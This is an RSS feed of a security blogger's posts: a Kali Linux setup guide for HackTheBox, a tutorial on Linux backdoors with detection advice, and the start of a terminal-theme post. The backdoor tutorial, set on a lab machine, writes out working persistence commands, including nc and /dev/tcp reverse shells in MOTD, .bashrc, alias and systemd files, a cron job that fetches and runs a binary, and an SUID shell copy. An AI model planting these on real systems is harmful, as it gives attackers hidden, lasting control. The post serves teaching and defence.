<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Fahmi J on Medium]]></title>
        <description><![CDATA[Stories by Fahmi J on Medium]]></description>
        <link>https://medium.com/@fahmifj?source=rss-1354259e1c27------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BTUC-NKJPow1RUxIEi4ZtQ.png</url>
            <title>Stories by Fahmi J on Medium</title>
            <link>https://medium.com/@fahmifj?source=rss-1354259e1c27------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 21:58:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fahmifj/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Kali Linux Setup for Playing HackTheBox]]></title>
            <link>https://fahmifj.medium.com/my-kali-linux-setup-for-playing-hackthebox-82b9d38f4265?source=rss-1354259e1c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/82b9d38f4265</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Fahmi J]]></dc:creator>
            <pubDate>Fri, 09 Jul 2021 00:45:19 GMT</pubDate>
            <atom:updated>2023-07-14T09:42:00.181Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/796/0*9VUp3Trcag0G3S5_.png" /><figcaption>nobody@nothing</figcaption></figure><p>After using Kali 2019.4 for almost 2 years, I finally upgraded to version 2021.2 (fresh install). As a result, I had to reapply my settings and configurations on this newer version for playing HackTheBox (which I believe is applicable to other boot2root platforms as well). Therefore, I think it’s better to document my basic setup online. Hope it helps you as well.</p><p>Okay that’s enough for the intro, let’s set it up!</p><h3>Display IP Address in the Shell Prompt</h3><p>First, I would like to add an IP address in the shell prompt. Adding IP address in your prompt would be really helpful as it lets you copy the IP faster for reverse shell. To do so, we’ll need to modify the .zshrc file.</p><p>Before performing any modification, consider to make a backup of your original file using the following command:</p><pre>$ cp ~/.zshrc{,.bak}</pre><p>And then let’s create a custom section within the file using comments (I suggest placing it at the top).</p><pre># START CUSTOM <br>...[custom script here]...<br># END CUSTOM</pre><p>Now add the following function to your .zshrc file.</p><pre>function get_ip(){<br>   # It can be thm or htb IP<br>   tunnel_ip=`ifconfig tun0 2&gt;/dev/null | grep netmask | awk &#39;{print $2}&#39;` <br>   # Use eth0 as default IP,<br>   default_ip=`ifconfig eth0 2&gt;/dev/null | grep netmask | awk &#39;{print $2}&#39;`<br>   if [[ $tunnel_ip == *&quot;10.&quot;* ]]; then<br>      echo $tunnel_ip<br>   else<br>      echo $default_ip<br>   fi<br>}</pre><p>The function assumes tun0 is the VPN interface to connect to HackTheBox network and eth0 is your default interface to connect to the Internet.</p><p>Then, find the following lines:</p><pre>...<br>case &quot;$PROMPT_ALTERNATIVE&quot; in<br>        twoline)<br>...</pre><p>Under these lines, replace the entire PROMPT variable with the following line:</p><pre>PROMPT=$&#39;%F{%(#.blue.green)}┌──${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n$prompt_symbol%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/.../%4~.%5~)%b%F{%(#.blue.green)}]-%B%F{152}[`get_ip`]%b%f%F{%(#.blue.green)}\n└─%B%(#.%F{red}#.%F{blue}$)%b%F{reset} &#39;</pre><p>Restart your terminal using one of the following commands.</p><pre>$ zsh <br>$ source ~/.zshrc</pre><p>And we’re done with displaying IP address in the shell prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*VYSNlmNntm2S4CuO.png" /></figure><h3>OpenVPN Connection with Alias</h3><p>It’s tiring when you have to type</p><pre>$ sudo openvpn /path/to/config/file.ovpn</pre><p>each time you want to connect to the VPN. So to make this easier we can leverage the alias command!</p><p>First let’s create a folder called .ovpnconfig in the home directory.</p><pre>$ mkdir -p ~/.ovpnconfig</pre><p>Then put all of your OpenVPN configuration files into that folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*j1CBP0i2qPeoLFRS.png" /></figure><p>Finally, add some aliases into your .zshrc.</p><pre>alias htbon=&#39;openvpn ~/ovpnconfig/htb-sg.ovpn 1&gt;/dev/null &amp;&#39; <br>alias htbfort=&#39;openvpn ~/ovpnconfig/htb-fortress.ovpn 1&gt;/dev/null &amp;&#39;<br>alias htbrel=&#39;openvpn ~/ovpnconfig/htb-release.ovpn 1&gt;/dev/null &amp;&#39;<br>alias kvpn=&#39;pkill openvpn&#39;</pre><p>Now we can type $ htbon or $ thmon in the command prompt to connect to the VPN.</p><p>Want to turn off the VPN? Simply type $ kvpn !</p><h4>A Problem with Alias</h4><p>In this Kali Linux version (non-root login), the only problem is that openvpn must be executed with sudo, because it needs administrative permission to create a network interface (that’s the tun0) .</p><p>Because of how alias <a href="https://zsh.sourceforge.io/Doc/Release/Shell-Grammar.html#Aliasing">works</a> in Zsh:</p><blockquote>Every eligible <em>word</em> in the shell input is checked to see if there is an alias defined for it. If so, it is replaced by the text of the alias if it is in command position (if it could be <strong>the first word </strong>of a simple command), or if the alias is global. <strong>If the replacement text ends with a space, the next word in the shell input is always eligible for purposes of alias expansion.</strong></blockquote><p>When you run $ sudo htbon, it will not expand the aliased command to $ sudo openvpn ~/ovpnconfig/htb-sg.ovpn 1&gt;/dev/null &amp;, instead it will return something like sudo: htbon: command not found.</p><p>Therefore, the solution to overcome this is by also aliasing the sudo command.</p><p>Add the following alias to your .zshrc file.</p><pre>alias sudo=&#39;sudo &#39;</pre><p>Additionally, if you want to use sudo with no password for the default user kali, we can create a new sudoers file by running the following command.</p><pre>$ sudo visudo /etc/sudoers.d/kali</pre><p>Then add the following line to gives user <strong>kali </strong>sudo permission with no password.</p><pre>kali  ALL=NOPASSWD: ALL</pre><p>This time, we can run the alias command with sudo.</p><pre>$ sudo &lt;alias-command&gt;<br>$ sudo htbon</pre><h3>Tools Transfer</h3><p>Just like the OpenVPN files, I like to keep the essential tools to be centralized in one folder and so it can be hosted immediately.</p><p>Again, we can create a folder called tools.</p><pre>$ mkdir -p ~/tools</pre><p>Put your tools inside the folder. The following are some of the tools that I think to be essential (including web-shell).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vG4geXP1d_DLl3D1.png" /></figure><p>Next, you can add another alias to host these tools immediately with one command. Feel free to create alias for yourself, mine called hostit.</p><pre>alias hostit= &#39;python3 -m http.server -d ~/tools 8000&#39;</pre><h3>Note Template</h3><p>I’m using the following bash function which you can put in your .bashrc or.zshrc file to recreate my typical directory structure:</p><pre>function mknote(){ <br>  mkdir nmap gobuster loot logs exploits ssh-keys post-exploits <br>}</pre><ul><li><strong>nmap:</strong> each nmap scan goes here.</li><li><strong>gobuster:</strong> each gobuster scan goes here.</li><li><strong>loot:</strong> each interesting file for further analysis goes here.</li><li><strong>logs:</strong> If you like to log your activity with $ script , put them here.</li><li><strong>exploits:</strong> exploit script goes here.</li><li><strong>ssh-keys:</strong> obtained ssh-key goes here, not loot.</li><li><strong>post-exploits:</strong> post-compromise loot goes here.</li></ul><p>Usage is simple:</p><pre>$ cd htb-machine-folder/ <br>$ mknote <br>$ tree <br>. <br>├── exploits <br>├── gobuster <br>├── logs <br>├── loot <br>├── nmap <br>├── post-exploits <br>└── ssh-keys</pre><h3>SSH Configuration</h3><p>I have always use a separate SSH keys for CTF. My SSH key for CTF is using ed25519. You can create one using the following command:</p><pre>$ ssh-keygen -a 100 -t ed25519 -f ~/.ssh/ctf_ssh</pre><p>After that, register your private key to SSH agent.</p><pre>$ eval &quot;$(ssh-agent -s)&quot; <br>$ ssh-add ~/.ssh/ctf_ssh</pre><p>Since HackTheBox machine starts with IP address of 10.10.*, add these lines to your SSH config (~/.ssh/config). Create one if you don&#39;t have it.</p><pre>Host 10.10.* <br>   IdentityFile ~/.ssh/ctf_ssh</pre><p>With the config above, whenever I injected my public key (/.ssh/ctf_ssh.pub) to HackTheBox machine for <a href="https://fahmifj.github.io/blog/linux-backdoors-and-where-to-find-them/">persistence access</a>, I don’t have to specify -i /path/to/ssh/private/key anymore, but just with $ ssh machine-name@hostname.</p><h3>QTerminal Configuration</h3><p>Unfortunately I’m not a tmux user here. Tmux is rich in features, but I’m not comfortable with its prefix key. So far, I’ve always used the default QTerminal application and leveraged its shortcut feature to ’navigate’ a slightly faster in terminal.</p><p>If you’re a Windows Terminal user, you’ll familiar with some of these shortcuts:</p><ul><li><strong>ALT + Arrows</strong>: Move cursor between subterminals</li><li><strong>CTRL + TAB</strong>: Navigate between tabs</li><li><strong>CTRL + Arrow Left</strong>: Previous tab</li><li><strong>CTRL + Arrow Right</strong>: Next tab</li><li><strong>CTRL + N</strong> : New terminal tab</li><li><strong>CTRL + SHIFT + W</strong> : Close current subterminal</li><li><strong>CTRL + SHIFT + =</strong> : Split terminal vertically</li><li><strong>CTRL + SHIFT + -</strong> : Split terminal horizontally</li><li><strong>CTRL + SHIFT + F</strong> : Open search bar in terminal</li><li><strong>CTRL + =</strong> : Zoom in</li><li><strong>CTRL + -</strong> : Zoom out</li></ul><p>The only limitation here is that there is no shortcut for resizing the sub-terminal.</p><h3>Create OMZ Plugin</h3><p>If you’re a <a href="https://ohmyz.sh/#install">Oh My Zsh</a> user like me, by excluding SSH and QTerminal configurations, we can add these configuration into a custom plugin.</p><p>Save the following script to /home/&lt;username&gt;/.oh-my-zsh/custom/plugins/ctf/ctf.plugin.zsh.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7470f1ed902b6c87b52a8e236f019544/href">https://medium.com/media/7470f1ed902b6c87b52a8e236f019544/href</a></iframe><p>The next step depends on your ZSH theme. I used a theme called <strong>robbyrussell</strong>.</p><p>I created a copy of the theme on /home/kali/.oh-my-zsh/custom/themes/robbyrussell.zsh-theme and modified the theme to display IP address and use two lines prompt. The modified version is as follows:</p><pre>NEWLINE=$&#39;\n$&#39; <br>PROMPT=&#39;%(?:%{$fg_bold[green]%}→:%{$fg_bold[red]%}→)&#39;<br>PROMPT+=&#39; %F{4}%n@%m %{$fg[cyan]%}«%c»%{$reset_color%}&#39;<br>PROMPT+=&#39; %B%F{152}«$(get_ip)»%f%b $(git_prompt_info)&#39;<br>PROMPT+=&quot;%F{31}${NEWLINE} %f&quot;<br>ZSH_THEME_GIT_PROMPT_PREFIX=&quot;%{$fg_bold[blue]%}git:(%{$fg[red]%}&quot;<br>ZSH_THEME_GIT_PROMPT_SUFFIX=&quot;%{$reset_color%} &quot;<br>ZSH_THEME_GIT_PROMPT_DIRTY=&quot;%{$fg[blue]%}) %{$fg[yellow]%}✗&quot;<br>ZSH_THEME_GIT_PROMPT_CLEAN=&quot;%{$fg[blue]%})&quot;</pre><p>Finally, the plugin can be loaded in the .zshrc file.</p><pre>...[SNIP]...<br># Which plugins would you like to load?<br># Standard plugins can be found in $ZSH/plugins/<br># Custom plugins may be added to $ZSH_CUSTOM/plugins/<br># Example format: plugins=(rails git textmate ruby lighthouse)<br># Add wisely, as too many plugins slow down shell startup.<br>plugins=(git ctf)<br>...[SNIP]...</pre><p>Restart your terminal and it’s done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*x3U13B3Y7yxgv6bD48WKYQ.png" /></figure><p>Okay, that’s all for this post!</p><p><em>Originally published at </em><a href="https://fahmifj.github.io/blog/my-kali-linux-setup-for-playing-hackthebox/"><em>https://fahmifj.github.io</em></a><em> on July 9, 2021. (Updated on 2023–07–14)</em></p><h3>References</h3><ul><li>https://askubuntu.com/questions/750419/how-do-i-run-a-sudo-command-needing-password-input-in-the-background</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82b9d38f4265" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Backdoors and Where to Find Them]]></title>
            <link>https://medium.com/geekculture/linux-backdoors-and-where-to-find-them-3b29888bdb98?source=rss-1354259e1c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b29888bdb98</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Fahmi J]]></dc:creator>
            <pubDate>Wed, 26 May 2021 00:34:06 GMT</pubDate>
            <atom:updated>2024-12-24T16:17:07.066Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fjWn1PqfKjnnHAtW" /><figcaption>Photo by <a href="https://unsplash.com/@pechka?utm_source=medium&amp;utm_medium=referral">Dima Pechurin</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In Attack-Defense CTF, leaving backdoors is an important part of maintaining access to the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.</p><h3>Backdoor, what is it?</h3><p>Simply put, a backdoor is like a secret entrance that lets you access a system without going through the usual authentication steps. It could be a hidden piece of code, a script, or a program placed on the system for the sake of persistence. Basically, it gives you quick and easy access, even if the initial access point gets patched.</p><h3>As defenders, why should we care?</h3><p>Of course! It’s like playing chess; if you can anticipate your opponent’s moves, you’re more likely to win the game. It’s worth to learn the attackers’ sneaky methods to protects your systems effectively.</p><h3>Common Backdoor Techniques</h3><p>Now that we know what a backdoor is and why it’s helpful for defenders to know how to one step ahead. So let’s find out!</p><p>For this demonstration, I will be using the <a href="https://www.vulnhub.com/entry/pinkys-palace-v1,225/">Pinky’s Palace</a> machine from VulnHub as our victim server and let’s assume it has been completely compromised.</p><h4>1. SSH Backdoor: authorized_keys</h4><p>The <a href="https://www.ssh.com/academy/ssh/authorized_keys/openssh">authorized_keys</a> file, located at ~/.ssh/authorized_keys, contains a list of public keys that are used for authenticating users. These keys correspond to specific individuals who are authorized to lo in to a particular account on your server. Attackers could use that file for backdoor by inserting their own public keys. By doing so, they could falsely authorize themselves and gain instant access to the system through SSH.</p><p>Now let’s have a look at the image below which shows the exploitation steps to gain root access on the victim’s server (Pinky’s Palace).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5FSvQr8xxqRSlE9XWGSKQ.png" /><figcaption>Exploiting binary for root access</figcaption></figure><p>As an attacker, you don’t want to repeat all these exploitation steps all over again to gain root access. Instead, on the attacking machine, we can generate a new pair of <a href="https://medium.com/risan/upgrade-your-ssh-key-to-ed25519-c6e8d60d3c54">SSH keys</a> for backdoor purpose with the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROkCsGD8Lf70wxNJ5vzNjg.png" /><figcaption>Generating SSH keys</figcaption></figure><p>It will produce 2 files: one is a private key (backdoor_ssh) and the other is a public key (backdoor_ssh.pub).</p><p>By inserting the public key (backdoor_ssh.pub) into the authorized_keys file of the root of our victim server, we have authorized ourselves to gain root access via SSH.</p><pre>root@pinkys-palace:~# mkdir -p /root/.ssh/ &amp;&amp; echo &#39;ssh-ed25519 AAAAC3NzaC1lZ.... root@kali&#39; &gt; /root/.ssh/authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YD0RMf2qTLeEq7dcgGTNcQ.png" /><figcaption>Using SSH keys as backdoor</figcaption></figure><h4>2. SSH Backdoor: MOTD</h4><p><strong>Motd</strong> (Message of the day) is the banner that appears when you log in to a server using SSH. It displays messages about system informations to users. The message can be customized, which you can find, on most Debian-based distro, under /etc/update-motd.d/. By default, regular users don&#39;t have write permission on that directory.</p><blockquote>This is one of the cool tricks I’ve learned from HackTheBox machine called <a href="https://www.hackthebox.eu/home/machines/profile/233">Traceback.</a></blockquote><p>In the image below image, there is only one <strong>motd</strong> script called 10-uname. As I login into the machine using SSH, the output of the script gets printed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCTbvqZudmuor6l6d10VwQ.png" /><figcaption>Motd script</figcaption></figure><p>As an attacker with root access, I could place a new script like <a href="https://www.techslang.com/definition/what-is-a-reverse-shell/">reverse shell</a> there as a backdoor and then I can just setup a netcat listener.</p><pre>root@pinkys-palace:/etc/update-motd.d# echo -e &#39;#!/bin/sh\nnc 192.168.2.103 9001 -e /bin/bash &amp;&#39; &gt; 20-backdoor &amp;&amp; chmod +x 20-backdoor</pre><p>If someone logs in to the server via SSH, the backdoor script would be executed and would connect back to my netcat listener, giving me root shell access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_kTnL9a2SY0KKQQMnxI3Q.png" /><figcaption>Backdoor triggered by SSH login</figcaption></figure><p>In the image above, I simulated an SSH login using low privilege account, but did you notice that I ended up with root access?</p><p>Here is the <a href="http://manpages.ubuntu.com/manpages/xenial/en/man5/update-motd.5.htm">answer</a>:</p><blockquote><em>…</em></blockquote><blockquote>​ Executable scripts in /etc/update-motd.d/* are executed by <strong>pam_motd(8) as the root user</strong> at ​ each login, and this information is concatenated in /var/run/motd.</blockquote><blockquote><em>…</em></blockquote><h4>3. Bashrc file</h4><p>The .bashrc file is a script that runs whenever a user starts a new interactive shell session in the Bash shell.</p><p>A new interactive shell session can be triggered in several ways, here are some common actions that lead to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GyRNMHvRW6srPr4c6Gmu8g.png" /><figcaption>Actions that triggers interactive session</figcaption></figure><p>In the image above, I have inserted a non malicious line script echo &quot;I&#39;m triggered&quot; to my .bashrc. But, as an attacker, we could put something like reverse shell into the file and set up another netcat listener to maintain access.</p><pre>pinky@pinkys-palace:~$ echo &#39;nc 192.168.2.103 9001 -e /bin/bash &gt;/dev/null &amp;&#39; &gt; .bashrc</pre><p>And then, whenever the user logs in or opens a new terminal session, the backdoor would be executed and connect back to my listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-KNBsyD3WQkpQ-MU7wkxA.png" /><figcaption>Backdoor triggered by interactive session</figcaption></figure><p>It’s also possible to insert malicious code wrapped in an alias within the bashrc file. For example:</p><pre>root@pinkys-palace:~# echo &quot;alias cd=&#39;$(nc 192.168.2.103 9001 -e /bin/bash&amp;); cd&#39;&quot; &gt; ~/.bashrc</pre><p>When a user invokes cd, it actually executes the reverse shell command embedded in the alias first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2yKBd4biEz5w9nuMNd1EQ.png" /><figcaption>Backdoor using alias</figcaption></figure><p>Here are some examples of alias backdoors:</p><ul><li><a href="https://github.com/nisay759/sudo-backdoor">https://github.com/nisay759/sudo-backdoor</a></li><li><a href="https://gist.github.com/ahhh/1d4bf832c5a88cc75adb">https://gist.github.com/ahhh/1d4bf832c5a88cc75adb</a></li></ul><h4>4. Cron jobs</h4><p>Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler feature in Windows. This feature also becomes an effective vector for maintaining long-term access to a compromised system. For example:</p><pre>root@pinkys-palace:~# echo &#39;* * * * * root cd /tmp; wget 192.168.2.103/backdoor &amp;&amp; chmod +x backdoor &amp;&amp; ./backdoor&#39; &gt; /etc/cron.d/backdoor</pre><p>What the task above does is it will download a malicious binary called ‘backdoor’ from my attacking machine, and the backdoor is then executed once every minute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMN0bK_iQnN8pNSRJ_jKYg.png" /><figcaption>Cron backdoor</figcaption></figure><p>For stealthy reasons, attackers may even embed the backdoor within the legitimate scheduled tasks.</p><h4>5. Backdoor as a Service</h4><p>An attacker can also create a backdoor as a service (BaaS). For example:</p><pre># backdoor.service<br>[Service]<br>Type=simple<br>User=root<br>ExecStart=/bin/bash -c &quot;bash -i &gt;&amp; /dev/tcp/192.168.2.103/9001 0&gt;&amp;1&quot;<br>[Install]<br>WantedBy=multi-user.target</pre><p>When the service starts, it establishes a reverse shell connection to the attacker’s system which then allows the attacker to remotely control the compromised machine.</p><pre>root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZzJsqNznim_gtQqRAFZOw.png" /><figcaption>BaaS</figcaption></figure><p>It can be enabled on boot to ensure that the reverse shell connects back to the attacker’s system automatically each time the compromised machine starts.</p><pre>root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service</pre><h4>6. SUID</h4><p>The last one on this post is <a href="https://en.wikipedia.org/wiki/Setuid">SUID</a>. SUID allows another user to run an executable binary as the owner of that binary.</p><p>For example, I can make a copy of the bash binary (owned by root) called .backdoor (notably starting with a dot to conceal it) and set the SUID permission on it for a low privilege user who has been compromised.</p><pre>root@pinkys-palace:/bin# cp bash/home/pinky/.backdoor &amp;&amp; chmod 4755 /home/pinky/.backdoor</pre><blockquote>Some people tend to just use <em>ls -l</em> rather than <em>ls -la</em>, and this becomes an advantage for attackers to put a backdoor in a dot file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTVJlkMGc9aUQwfrnYRvKg.png" /><figcaption>SUID backdoor on low privilege user</figcaption></figure><p>By running the copy of bash with SUID set on it, attackers could escalate themself to root.</p><h3>Blue team side</h3><p>Before proceeding, I want to emphasize that if your server is compromised in real life, it’s generally better to restore it from a backup or rebuild it from scratch. This recommendation is based on the fact that backdoors can be obfuscated and may be combined with other techniques, not to mention the possibility of a rootkit being present, making them difficult to detect and remove.</p><p>Also what I share here might not be that effective, but here is how I usually deal with backdoors in attack-defense CTF scenarios.</p><h4>SSH keys and .bashrc.</h4><p>Make sure to regularly check the all the users authorized_keys file.</p><p>In the image below, we see a public key associated with the foreign hostname kali instead of the legitimate pinkys-palace. This difference should raise your suspicion, as it could indicate a potential backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9EBY8k9OY17HCUiRNHzgg.png" /><figcaption>Suspicious public key in authorized_keys file</figcaption></figure><p>However, attackers often disguise their keys to appear legitimate. My workaround here is we can create a baseline or “skeleton” file of the authorized_keys and set a cron job that periodically reverts the file back to its original state. This can be accomplished remotely using scp, ensuring that your baseline file secure.</p><blockquote>You can find the skeleton file of .bashrc at /etc/skel.</blockquote><p>You can apply this approach to .bashrc files as well.</p><h4>SSH motd</h4><p>It’s not always placed under /etc/update-motd.d/, but make sure the <strong>motd</strong> directory is only writable by root, note the default list of <strong>motd</strong> files and apply the same thing as above (skeleton file) because the attackers might have inserted a backdoor in the original files.</p><p>We could also do some ‘forensics’ using timestamp:</p><pre>$ ls --full-time</pre><p>For example, these files with the timestamp 000000000 (nano) in the image below have most likely not been modified and are still in their original state since OS installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWWrpdZvD7THlZxjb9Ywhw.png" /><figcaption>Nano timestamp</figcaption></figure><p>After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StiT-Xh9jgcukJY8AKIoVg.png" /><figcaption>Timestamp changed</figcaption></figure><h4>Cronjobs and Services</h4><p>For this one, monitoring is the key. We can monitor the network sockets and processes using the netstat or the ss command and the ps command. Be suspicious to any program if it has an IP and port supplied as its arguments. Also make sure these commands aren&#39;t aliased by the attackers (like <a href="https://github.com/iamckn/backdoors/blob/master/bd_hide.sh">this</a> one).</p><p>For this, we can look for any unwanted open ports using this command:</p><pre>$ netstat -antp | grep LISTEN</pre><p>To find a suspicious connection we can use this command:</p><pre>$ netstat -antp | grep ESTABLISHED</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_Kej5P2aPzA2PdPZWvonA.png" /><figcaption>Suspicious connections</figcaption></figure><p>When the backdoor fails to reach out the attacker, the state would be displayed as SYN_SENT. To find this we can change the grep part with it.</p><pre>$ netstat -antp | grep SYN_SENT</pre><p>Next, we could check each user’s crontab using the following commands:</p><pre>$ for user in $(cat /etc/passwd | cut -f1 -d: ); do echo $user; crontab -u $user -l; done<br><br>​# Check only the users who have a login shell<br>$ for user in $(cat /etc/passwd | grep sh$ | cut -f1 -d: ); do echo $user; crontab -u $user -l; done</pre><p>There is also the ps -f command which is quite effective at visualizing the process tree. For example, in the image below we can easily identify the &quot;culprit&quot; that keeps opening the HTTPS port (443) could be in the .bashrc file. It&#39;s because the backdoor gets triggered every time we launch a new interactive shell session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lr6kD_R6PVccJOmctqjgWw.png" /><figcaption>Visualizing process tree</figcaption></figure><p>If you prefer the detailed view, consider to use ps auxfww to show process tree with username, TTY, and a wide output.</p><p>I also like to use the watch command to actively monitor the network sockets and processes.</p><pre># monitor process<br>  $ watch -n 1 &quot;ps auxfww | grep suspected-process&quot;<br># monitor net socket<br>  $ watch -n 1 &quot;netstat -antp&quot;<br># monitor net socket with sus IP<br>  $ watch -n1 &quot;ss -atp | grep &#39;10.14\|168.24&#39;&quot;</pre><p>For a backdoor that run as a service, we can try to list all the services with the following command and see if there’s an unwanted one.</p><pre>$ systemctl list-unit-files --type=service</pre><p>Or we can also directly visit the services directory. It’s depends on what OS the server is using, but we can start to look at /lib/systemd/ and sort them by date modified.</p><pre>$ find /lib/systemd -type f -iname &#39;*\.service&#39; -exec ls -lrt &quot;{}&quot; +;</pre><h4>Finding SUID</h4><p>To find some suspicious SUID we can use the find commands. It can also detect the SUID that started with dot!</p><pre>root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LiFR3iSOkPDe9bRRTMdFqg.png" /><figcaption>Finding SUID binary</figcaption></figure><p>However, I realize that I overlooked an important detail in this section. The -perm 4755 option will only locate files with exactly those permissions. This means that files with permissions set to 4755, 4765, 4701, and other variations will be excluded from the search. To ensure we can identify all files with the SUID bit set, we should modify the command to:</p><pre>$ find / -type f -perm -u=s 2&gt;/dev/null</pre><p>Okay, that’s all I could share with you, I hope you found the information useful and insightful, If you have any questions or additional insights to share, feel free to reach out.</p><p><em>Originally published at: </em><a href="https://fahmifj.github.io/blog/linux-backdoors-and-where-to-find-them/"><em>https://fahmifj.github.io/blog/linux-backdoors-and-where-to-find-them/</em></a><em> (Updated on 24–12–2024)</em></p><h4>References</h4><ul><li><a href="https://www.techslang.com/definition/what-is-a-reverse-shell/">https://www.techslang.com/definition/what-is-a-reverse-shell/</a></li><li><a href="https://medium.com/risan/upgrade-your-ssh-key-to-ed25519-c6e8d60d3c54">https://medium.com/risan/upgrade-your-ssh-key-to-ed25519-c6e8d60d3c54</a></li><li><a href="https://blog.g0tmi1k.com/2011/08/kioptrix-level-3/">https://blog.g0tmi1k.com/2011/08/kioptrix-level-3/</a></li><li><a href="https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c">https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c</a></li><li><a href="https://gist.github.com/ahhh/1d4bf832c5a88cc75adb">https://gist.github.com/ahhh/1d4bf832c5a88cc75adb</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b29888bdb98" width="1" height="1" alt=""><hr><p><a href="https://medium.com/geekculture/linux-backdoors-and-where-to-find-them-3b29888bdb98">Linux Backdoors and Where to Find Them</a> was originally published in <a href="https://medium.com/geekculture">Geek Culture</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Parrot OS Terminal for Kali Linux]]></title>
            <link>https://fahmifj.medium.com/parrot-os-terminal-for-kali-linux-5db0340abf10?source=rss-1354259e1c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/5db0340abf10</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[prompt]]></category>
            <dc:creator><![CDATA[Fahmi J]]></dc:creator>
            <pubDate>Wed, 21 Oct 2020 22:00:15 GMT</pubDate>
            <atom:updated>2022-07-31T15:17:35.336Z</atom:updated>
            <content:encoded><![CDATA[<h3>Parrot Terminal Prompt in Kali Linux</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qiIm_DhJvt-35YUh" /><figcaption>Photo by <a href="https://unsplash.com/@yancymin?utm_source=medium&amp;utm_medium=referral">Yancy Min</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>After trying Hack The Box PwnBox (a web based machine), I liked its fancy terminal! So I’m looking one for my Kali box and apply the same styles (well kind of) on it and then I finally found this awesome parrot-like terminal on Github.</p><p><a href="https://github.com/m4xx101/kali_parrot_terminal">m4xx101/kali_parrot_terminal</a></p><p>You can manually replace and overwrite your original <strong>.bashrc </strong>or follow the instructions from the link above, then simply restart the terminal or run this command to apply immediately.</p><pre>$ source ~/.bashrc </pre><p>I added a space to create a little gap between # $ symbols and the initial cursor. See the image below.</p><figure><img alt="" 